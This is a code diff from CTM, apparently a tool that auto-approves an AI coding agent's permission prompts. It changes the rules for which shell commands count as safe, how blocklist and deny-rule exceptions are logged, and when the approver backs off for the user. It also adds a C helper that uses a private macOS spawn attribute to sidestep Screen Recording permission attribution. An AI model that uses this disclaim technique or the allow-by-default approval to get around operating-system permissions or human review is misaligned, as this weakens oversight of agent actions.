+ { re: /\bgit\s+(?:(?:-C|--git-dir|--work-tree|--namespace)(?:=\S+|\s+\S+)\s+|(?:-p|-P|--paginate|--no-pager|--bare|--no-replace-objects|--literal-pathspecs|--glob-pathspecs|--noglob-pathspecs|--icase-pathspecs|--no-optional-locks|--no-advice)\s+)*(?:status|log|diff|branch|show|stash\s+list|tag|remote)\b/, caseSensitive: true, label: 'Git read operations', desc: 'Read-only git commands (status, log, diff, branch, show, tag, remote)' },
995
1230
  // NOTE: `node -e`, `python -c`, `cp`, `mv`, and `sqlite3` are intentionally
996
1231
  // NOT here — they can run arbitrary code or mutate/overwrite arbitrary files
997
1232
  // (incl. databases) and must go through the AI reviewer/verifier (medium),
@@ -1001,7 +1236,8 @@ function reviewWithHeuristics(context) {
1001
1236
  { re: />\s*\/tmp\//, label: 'Write to /tmp', desc: 'Redirect output to temp files' },
1002
1237
  { re: /touch\s/, label: 'Create empty file', desc: 'Create or update file timestamps' },
1003
1238
  { re: /\bcurl\s[\s\S]*?(https?:\/\/localhost|http:\/\/127\.0\.0\.1)/, label: 'Curl localhost', desc: 'HTTP requests to local dev servers' },
1004
- { re: /grep\s+-?[crn]/, label: 'Grep search', desc: 'Search file contents with grep' },
1239
+ // grep/egrep/fgrep/ripgrep are read-only regardless of flags (-i/-v/-q/-c…).
1240
+ { re: /\b(?:(?:e|f)?grep|rg)\b/, label: 'Grep search', desc: 'Search file contents with grep/ripgrep' },
1005
1241
  { re: /wc\s/, label: 'Word count', desc: 'Count lines/words/bytes' },
1006
1242
  { re: /head\s|tail\s/, label: 'Read file head/tail', desc: 'View beginning or end of files' },
1007
1243
  { re: /which\s|type\s/, label: 'Find command', desc: 'Locate commands in PATH' },
@@ -1025,18 +1261,41 @@ function reviewWithHeuristics(context) {
1025
1261
  // unrecognized makes the whole command 'medium' → AI reviewer/verifier (which,
1026
1262
  // with session context, can still auto-approve a goal-aligned action).
1027
1263
  const clauses = _splitShellClauses(cmdUnwrapped || cmd);
1264
+ // Original-case clauses, parallel to `clauses`, for rules flagged
1265
+ // caseSensitive (case is security-relevant for git's -C vs -c). Splitting is
1266
+ // case-independent, so indices line up 1:1.
1267
+ const cmdRawUnwrapped = String(context.command || '')
1268
+ .replace(/^(#[^\n]*\n\s*)*/, '')
1269
+ .replace(/^(time|env|nice|nohup|command)\s+/gi, '');
1270
+ const clausesRaw = _splitShellClauses(cmdRawUnwrapped);
1028
1271
  let firstSafe = null;
1029
1272
  let review = null;
1030
- for (const clause of clauses) {
1273
+ // Tracks that at least one clause was skipped as inherently harmless (a bare
1274
+ // assignment or pure control-flow keyword). Used so a command made ENTIRELY of
1275
+ // such clauses (e.g. `DEV_CTM_PORT=4856; DEV_WALLE_PORT=4857`) classifies low
1276
+ // instead of falling through to the medium default — it executes nothing.
1277
+ let skippedSafe = false;
1278
+ for (let ci = 0; ci < clauses.length; ci += 1) {
1279
+ let clause = clauses[ci];
1280
+ let clauseRaw = clausesRaw[ci] != null ? clausesRaw[ci] : clause;
1281
+ // Control-flow structure (for/do/done/then/fi/esac/…) executes nothing on its
1282
+ // own — skip it so a loop of safe commands is not forced to 'medium' by the
1283
+ // loop keywords. The body commands are still classified as their own clauses.
1284
+ if (_isControlFlowClause(clause)) { skippedSafe = true; continue; }
1285
+ // A leading control keyword can be glued onto a real command by the splitter
1286
+ // (`do sips …`); strip it so the body command — not the keyword — is judged.
1287
+ clause = _stripLeadingControlKeyword(clause);
1288
+ clauseRaw = _stripLeadingControlKeyword(clauseRaw);
1289
+ if (!clause.trim()) continue;
1031
1290
  // A bare assignment with no command substitution just sets a variable
1032
1291
  // (literal or arithmetic) — harmless. `VAR=$(cmd)` keeps the inner command,
1033
1292
  // so it falls through to be classified by that command below.
1034
- if (/^\w+=/.test(clause) && !/\$\((?!\()/.test(clause) && !/`/.test(clause)) continue;
1293
+ if (/^\w+=/.test(clause) && !/\$\((?!\()/.test(clause) && !/`/.test(clause)) { skippedSafe = true; continue; }
1035
1294
  if (_isProcessControlClause(clause)) {
1036
1295
  review = review || { label: 'Process control', desc: 'Terminates processes (kill/pkill) — review the target' };
1037
1296
  continue;
1038
1297
  }
1039
- const safe = devSafe.find(({ re }) => re.test(clause));
1298
+ const safe = devSafe.find(({ re, caseSensitive }) => re.test(caseSensitive ? clauseRaw : clause));
1040
1299
  if (safe) { firstSafe = firstSafe || safe; continue; }
1041
1300
  review = review || { label: context.toolName || 'Bash command', desc: 'Routed to AI reviewer/verifier for a decision' };
1042
1301
  }
@@ -1048,6 +1307,12 @@ function reviewWithHeuristics(context) {
1048
1307
  return { decision: 'approve', reasoning: 'Common dev operation (heuristic, all clauses safe)', riskLevel: 'low',
1049
1308
  ruleLabel: firstSafe.label, rulePattern: firstSafe.re.source, ruleDescription: firstSafe.desc };
1050
1309
  }
1310
+ // Every clause was an inherently-harmless assignment / control-flow keyword and
1311
+ // nothing executed — low risk (e.g. `DEV_CTM_PORT=4856; DEV_WALLE_PORT=4857`).
1312
+ if (skippedSafe) {
1313
+ return { decision: 'approve', reasoning: 'Variable assignment / control-flow only (executes nothing)', riskLevel: 'low',
1314
+ ruleLabel: 'Variable assignment', rulePattern: '', ruleDescription: 'Sets shell variables / control-flow keywords only' };
1315
+ }
1051
1316
 
1052
1317
  // Default: medium risk — NOT auto-approved here. Routed to the AI reviewer +
1053
1318
  // verifier; if the AI gate is unavailable it escalates to the user (fail-safe).
@@ -1190,6 +1455,15 @@ const BACKSPACE = '\x7f';
1190
1455
  // Legacy path (no headlessWorker, e.g. unit tests): keep original
1191
1456
  // keystroke + ENTER_DELAY_MS Enter behavior so existing tests still pass.
1192
1457
  function sendApprovalKeystroke(session, context, headlessWorker, options = {}) {
1458
+ // User-input priority: if the human is actively interacting with this session's prompt,
1459
+ // yield — do not inject. This is checked at fire-time (covers both immediate and the
1460
+ // setTimeout-deferred guarded path) so a keystroke the user just started navigating is
1461
+ // left alone. Steady-state auto-approval (no recent manual input) is unaffected.
1462
+ if (session && _userIsDriving(session.id)) {
1463
+ const sid = session.id ? session.id.slice(0, 8) : '?';
1464
+ console.log(`[approval-agent] Skipping injection for session ${sid} — user is actively driving (backoff ${USER_BACKOFF_MS}ms)`);
1465
+ return;
1466
+ }
1193
1467
  const provider = context.providerId ? getProvider(context.providerId) : null;
1194
1468
  const keystroke = options.keystroke || getApproveKeystroke(context, options);
1195
1469
  const sid = session.id ? session.id.slice(0, 8) : '?';
@@ -1549,6 +1823,11 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
1549
1823
  const rawText = String(cleanText || meta.rawText || '');
1550
1824
  if (!rawText) return { handled: false, reason: 'empty' };
1551
1825
 
1826
+ // Fully hands-off on plan approvals (ExitPlanMode). Never parse-for-command,
1827
+ // never keystroke, never banner — pressing a key here can auto-run the plan,
1828
+ // and the "command" would just be plan prose. The session stays Needs-You.
1829
+ if (isPlanApprovalPrompt(rawText)) return { handled: false, reason: 'plan-approval' };
1830
+
1552
1831
  const providerContext = _parseKnownProviderContext(rawText, providerId);
1553
1832
  let context = providerContext?.context || parseApprovalContext(rawText, providerId);
1554
1833
  if (!context && providerId) context = parseApprovalContext(rawText, null);
@@ -1642,14 +1921,13 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
1642
1921
  row.ruleLabel = review.ruleLabel || row.ruleLabel;
1643
1922
  row.ruleDescription = review.ruleDescription || row.ruleDescription;
1644
1923
  row = _saveRescuePattern(row) || row;
1645
- // Only pin a "review needed" banner when there is a concrete, classified
1646
- // command to show the operator. A non-actionable candidate (no parsed command
1647
- // or an unclassified "Unknown" tool) is almost always approval-shaped PROSE,
1648
- // not a live prompt escalating it produces a confusing, meaningless banner.
1649
- // The refinement loop (handleMiss) still runs separately and learns the shape.
1650
- if (review.shouldWarnUser && _rescueCandidateActionable(context)) {
1651
- _broadcastRescueWarning(sessionId, session, broadcastFn, context, review, row);
1652
- }
1924
+ // The rescue-monitor's own "I think I missed an approval" verdict is NOT
1925
+ // surfaced as the front-and-center approval banner that channel is reserved
1926
+ // for genuine approvals the user can act on (blocklist/deny/verifier
1927
+ // escalations + hook-park + the reconcile settled-frame path). A real missed
1928
+ // prompt is still on screen and surfaces via Needs-You/reconcile; the rescue
1929
+ // verdict only updates the (silent) suppressed-pattern record above.
1930
+ console.log(`[approval-rescue] not-safe (silent) session=${sessionId.slice(0, 8)} diagnosis=${diagnosis || 'unknown'} label="${(escalationCommandParts(context).title || context.toolName || '').slice(0, 80)}"`);
1653
1931
  return { handled: false, reason: 'not-safe', fingerprint, decidedBy: review.decidedBy, diagnosis };
1654
1932
  }
1655
1933
 
@@ -1765,10 +2043,12 @@ async function handleApprovalRescueCandidate(sessionId, session, cleanText, broa
1765
2043
  : RESCUE_RETRY_COOLDOWN_MS);
1766
2044
  if (row.consecutiveFailures >= RESCUE_MAX_CONSECUTIVE_FAILURES) row.status = 'blocked';
1767
2045
  row = _saveRescuePattern(row) || row;
1768
- _broadcastRescueWarning(sessionId, session, broadcastFn, context, {
1769
- ...review,
1770
- reasoning: `CTM tried to auto-approve a missed prompt, but the terminal did not advance (${outputAdvanced} bytes).`,
1771
- }, row);
2046
+ // Verify-failed is recorded (suppressed pattern, above) but NOT surfaced as the
2047
+ // approval banner — the genuine prompt is still on screen and surfaces via the
2048
+ // normal Needs-You / reconcile path. The old "CTM tried to auto-approve a missed
2049
+ // prompt, but the terminal did not advance" banner was meta-noise about CTM's
2050
+ // internals, not an approvable permission.
2051
+ console.log(`[approval-rescue] verify-failed (silent) session=${sessionId.slice(0, 8)} advanced=${outputAdvanced}B label="${(escalationCommandParts(context).title || context.toolName || '').slice(0, 80)}"`);
1772
2052
  return {
1773
2053
  handled: true,
1774
2054
  reason: 'verify-failed',
@@ -1799,9 +2079,13 @@ async function decideApproval(context, session, options = {}) {
1799
2079
  const callModel = options.callModel || null;
1800
2080
  const command = context.command || '';
1801
2081
 
1802
- // 1) Dangerous-command blocklist — runs first, never overridden by other signals.
2082
+ // 1) Dangerous-command blocklist — runs first, never overridden by other signals
2083
+ // (except the user's own "never block" exceptions, which we audit-log).
1803
2084
  if (isBlocklistEnabled()) {
1804
2085
  const block = checkBlocklist(command, getBlocklistConfig());
2086
+ if (block.exempted) {
2087
+ console.log(`[approval-agent] blocklist exception ${block.exceptionId} suppressed "${block.suppressed?.reason}" for cmd="${command.slice(0, 200)}"`);
2088
+ }
1805
2089
  if (block.blocked) {
1806
2090
  return {
1807
2091
  decision: 'ask', decidedBy: 'blocklist', riskLevel: 'high',
@@ -1823,15 +2107,23 @@ async function decideApproval(context, session, options = {}) {
1823
2107
  };
1824
2108
  }
1825
2109
  const userAllowed = !!(permMatch && permMatch.action === 'allow');
2110
+ const viaException = userAllowed ? permMatch.viaException : null;
2111
+ if (viaException) {
2112
+ console.log(`[approval-agent] deny rule ${permMatch.rule} excepted (${viaException.type}: ${viaException.value}) for cmd="${command.slice(0, 200)}"`);
2113
+ }
1826
2114
 
1827
2115
  // 3) Learned rules / per-clause heuristic risk classification.
1828
2116
  const matchingRule = findMatchingRule(context);
1829
2117
  const heuristic = matchingRule ? null : reviewWithHeuristics(context);
1830
2118
  const riskLevel = matchingRule ? (matchingRule.risk_level || 'low') : (heuristic ? (heuristic.riskLevel || 'low') : 'low');
1831
2119
  const decidedBy = userAllowed ? 'user-allow' : (matchingRule ? 'rule' : 'auto');
1832
- const label = userAllowed ? `Allowed: ${permMatch.rule}`
2120
+ const label = userAllowed
2121
+ ? (viaException ? `Excepted from ${permMatch.rule} (${viaException.value})` : `Allowed: ${permMatch.rule}`)
1833
2122
  : matchingRule ? matchingRule.label : ((heuristic && heuristic.ruleLabel) || context.toolName);
1834
- const reason = userAllowed ? `Permission Manager allow rule matched: ${permMatch.rule}`
2123
+ const reason = userAllowed
2124
+ ? (viaException
2125
+ ? `Deny rule ${permMatch.rule} excepted (${viaException.type} ${viaException.value})`
2126
+ : `Permission Manager allow rule matched: ${permMatch.rule}`)
1835
2127
  : matchingRule ? `Matched learned rule: ${matchingRule.label}`
1836
2128
  : 'Auto-approved by default (not on the denylist)';
1837
2129
 
@@ -1884,19 +2176,26 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
1884
2176
  // never auto-approved regardless of what other signals say. Opt-in.
1885
2177
  if (isBlocklistEnabled()) {
1886
2178
  const blockCheck = checkBlocklist(context.command || '', getBlocklistConfig());
2179
+ if (blockCheck.exempted) {
2180
+ console.log(`[approval-agent] blocklist exception ${blockCheck.exceptionId} suppressed "${blockCheck.suppressed?.reason}" session=${sessionId} cmd="${(context.command || '').slice(0, 200)}"`);
2181
+ }
1887
2182
  if (blockCheck.blocked) {
1888
2183
  console.log(`[approval-agent] BLOCKLIST hit session=${sessionId} category=${blockCheck.category} reason="${blockCheck.reason}" cmd="${(context.command || '').slice(0, 200)}"`);
2184
+ // The Pending card titles from commandSummary — use the operative COMMAND
2185
+ // (what the user must judge), not the blocklist reason. The reason stays
2186
+ // in `reasoning` ("Why escalated" + isBlocklistGroup detection).
2187
+ const parts = escalationCommandParts(context);
1889
2188
  const decision = {
1890
2189
  sessionId,
1891
2190
  toolName: context.toolName,
1892
- commandSummary: `Blocklist: ${blockCheck.reason}`,
2191
+ commandSummary: parts.title || `Blocklist: ${blockCheck.reason}`,
1893
2192
  fullContext: context.fullContext.slice(0, 2000),
1894
2193
  warning: context.warning,
1895
2194
  decision: 'escalated',
1896
2195
  reasoning: `Dangerous-command blocklist matched (${blockCheck.category}): ${blockCheck.reason}`,
1897
2196
  decidedBy: 'blocklist',
1898
2197
  riskLevel: 'high',
1899
- commandSignature,
2198
+ commandSignature: parts.signature || commandSignature,
1900
2199
  };
1901
2200
  let decisionId;
1902
2201
  try { decisionId = dbModule.addApprovalDecision(decision); } catch (e) { console.error('[approval-agent] DB error:', e.message); }
@@ -1930,10 +2229,13 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
1930
2229
  if (permMatch && permMatch.action === 'deny') {
1931
2230
  const reasoning = `Permission Manager deny rule matched: ${permMatch.rule}`;
1932
2231
  try {
2232
+ const parts = escalationCommandParts(context);
1933
2233
  dbModule.addApprovalDecision({
1934
- sessionId, toolName: context.toolName, commandSummary: `Denied: ${permMatch.rule}`,
2234
+ sessionId, toolName: context.toolName,
2235
+ commandSummary: parts.title || `Denied: ${permMatch.rule}`,
1935
2236
  fullContext: context.fullContext.slice(0, 2000), warning: context.warning,
1936
- decision: 'escalated', reasoning, decidedBy: 'user-deny', riskLevel: 'high', commandSignature,
2237
+ decision: 'escalated', reasoning, decidedBy: 'user-deny', riskLevel: 'high',
2238
+ commandSignature: parts.signature || commandSignature,
1937
2239
  });
1938
2240
  } catch (e) { console.error('[approval-agent] DB error:', e.message); }
1939
2241
  broadcastFn(sessionId, session, {
@@ -1944,6 +2246,10 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
1944
2246
  return true;
1945
2247
  }
1946
2248
  const userAllowed = !!(permMatch && permMatch.action === 'allow');
2249
+ const viaException = userAllowed ? permMatch.viaException : null;
2250
+ if (viaException) {
2251
+ console.log(`[approval-agent] deny rule ${permMatch.rule} excepted (${viaException.type}: ${viaException.value}) session=${sessionId} cmd="${(context.command || '').slice(0, 200)}"`);
2252
+ }
1947
2253
 
1948
2254
  // ── Allow-by-default ──────────────────────────────────────────────────────
1949
2255
  // Auto-approve everything not on the denylist. The blocklist above is the
@@ -1952,12 +2258,15 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
1952
2258
  // opinion on medium+ risk and can escalate. User-allowed commands skip it.
1953
2259
  const matchingRule = findMatchingRule(context);
1954
2260
  const heuristic = matchingRule ? null : reviewWithHeuristics(context);
1955
- const label = userAllowed ? `Allowed: ${permMatch.rule}`
2261
+ const label = userAllowed
2262
+ ? (viaException ? `Excepted from ${permMatch.rule} (${viaException.value})` : `Allowed: ${permMatch.rule}`)
1956
2263
  : matchingRule ? matchingRule.label : (heuristic.ruleLabel || context.toolName);
1957
2264
  const decidedBy = userAllowed ? 'user-allow' : (matchingRule ? 'rule' : 'auto');
1958
2265
  const riskLevel = matchingRule ? (matchingRule.risk_level || 'low') : (heuristic ? (heuristic.riskLevel || 'low') : 'low');
1959
2266
  const reasoning = userAllowed
1960
- ? `Permission Manager allow rule matched: ${permMatch.rule}`
2267
+ ? (viaException
2268
+ ? `Deny rule ${permMatch.rule} excepted (${viaException.type} ${viaException.value})`
2269
+ : `Permission Manager allow rule matched: ${permMatch.rule}`)
1961
2270
  : matchingRule ? `Matched learned rule: ${matchingRule.label}`
1962
2271
  : 'Auto-approved by default (not on the denylist)';
1963
2272
 
@@ -2001,15 +2310,22 @@ async function handleApprovalCheck(sessionId, session, cleanText, broadcastFn, p
2001
2310
  module.exports = {
2002
2311
  parseApprovalContext,
2003
2312
  isLiveApprovalPrompt,
2313
+ isPlanApprovalPrompt,
2314
+ planCardFingerprint,
2315
+ cardTextFingerprint,
2004
2316
  hasComposerStatusFooter,
2005
2317
  reviewWithHeuristics,
2006
2318
  _splitShellClauses,
2007
2319
  _isProcessControlClause,
2320
+ _isControlFlowClause,
2321
+ _stripLeadingControlKeyword,
2322
+ _isDevCleanupCommand,
2323
+ _isTmpScopedRmClause,
2324
+ _isPortScopedKillClause,
2008
2325
  _buildSessionContext,
2009
2326
  normalizeCommandSignature,
2010
2327
  escalationCommandParts,
2011
2328
  classifyBlockReason,
2012
- _rescueCandidateActionable,
2013
2329
  findMatchingRule,
2014
2330
  getApproveKeystroke,
2015
2331
  sendApprovalKeystroke,
@@ -2020,4 +2336,8 @@ module.exports = {
2020
2336
  handleApprovalCheck,
2021
2337
  decideApproval,
2022
2338
  clearSessionDedup(sessionId) { _lastApproval.delete(sessionId); },
2339
+ // Record that the human is manually driving `sessionId` right now, so the auto-approver
2340
+ // backs off (see _userIsDriving / sendApprovalKeystroke). Called from server.js handleInput.
2341
+ markUserActive(sessionId) { if (sessionId) _userActiveAt.set(sessionId, Date.now()); },
2342
+ _userIsDriving,
2023
2343
  };
@@ -0,0 +1,42 @@
1
+ // ctm-disclaim — run a command as its OWN TCC "responsible process".
2
+ //
3
+ // macOS attributes Screen Recording (and other TCC permissions) to the *responsible
4
+ // process*, which children inherit from their parent — all the way up to the launchd
5
+ // daemon. CTM runs from a self-signed .app bundle (com.walle.ctm) that macOS won't let a
6
+ // background daemon grant a Screen Recording prompt for, so `screencapture` it spawns is
7
+ // denied. But the user's real `node` binary is already granted Screen Recording.
8
+ //
9
+ // responsibility_spawnattrs_setdisclaim() (the same private spawn attribute LaunchServices
10
+ // uses when it `open`s an app) breaks the inheritance: the spawned process becomes its own
11
+ // responsible process. So `ctm-disclaim <real-node> -e "<run screencapture>"` makes that
12
+ // node its own responsible identity (the granted "node"), and the screencapture it spawns
13
+ // inherits that granted identity instead of com.walle.ctm.
14
+ //
15
+ // Usage: ctm-disclaim <command> [args...] (exits with the command's exit status)
16
+
17
+ #include <spawn.h>
18
+ #include <sys/wait.h>
19
+ #include <unistd.h>
20
+ #include <stdio.h>
21
+
22
+ extern int responsibility_spawnattrs_setdisclaim(posix_spawnattr_t *attrs, int disclaim);
23
+
24
+ int main(int argc, char **argv, char **envp) {
25
+ if (argc < 2) {
26
+ fprintf(stderr, "usage: ctm-disclaim <command> [args...]\n");
27
+ return 2;
28
+ }
29
+ posix_spawnattr_t attr;
30
+ posix_spawnattr_init(&attr);
31
+ responsibility_spawnattrs_setdisclaim(&attr, 1);
32
+ pid_t pid;
33
+ int rc = posix_spawnp(&pid, argv[1], NULL, &attr, &argv[1], envp);
34
+ posix_spawnattr_destroy(&attr);
35
+ if (rc != 0) {
36
+ fprintf(stderr, "ctm-disclaim: spawn failed (%d)\n", rc);
37
+ return rc;
38
+ }
39
+ int status;
40
+ if (waitpid(pid, &status, 0) < 0) return 1;
41
+ return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
42
+ }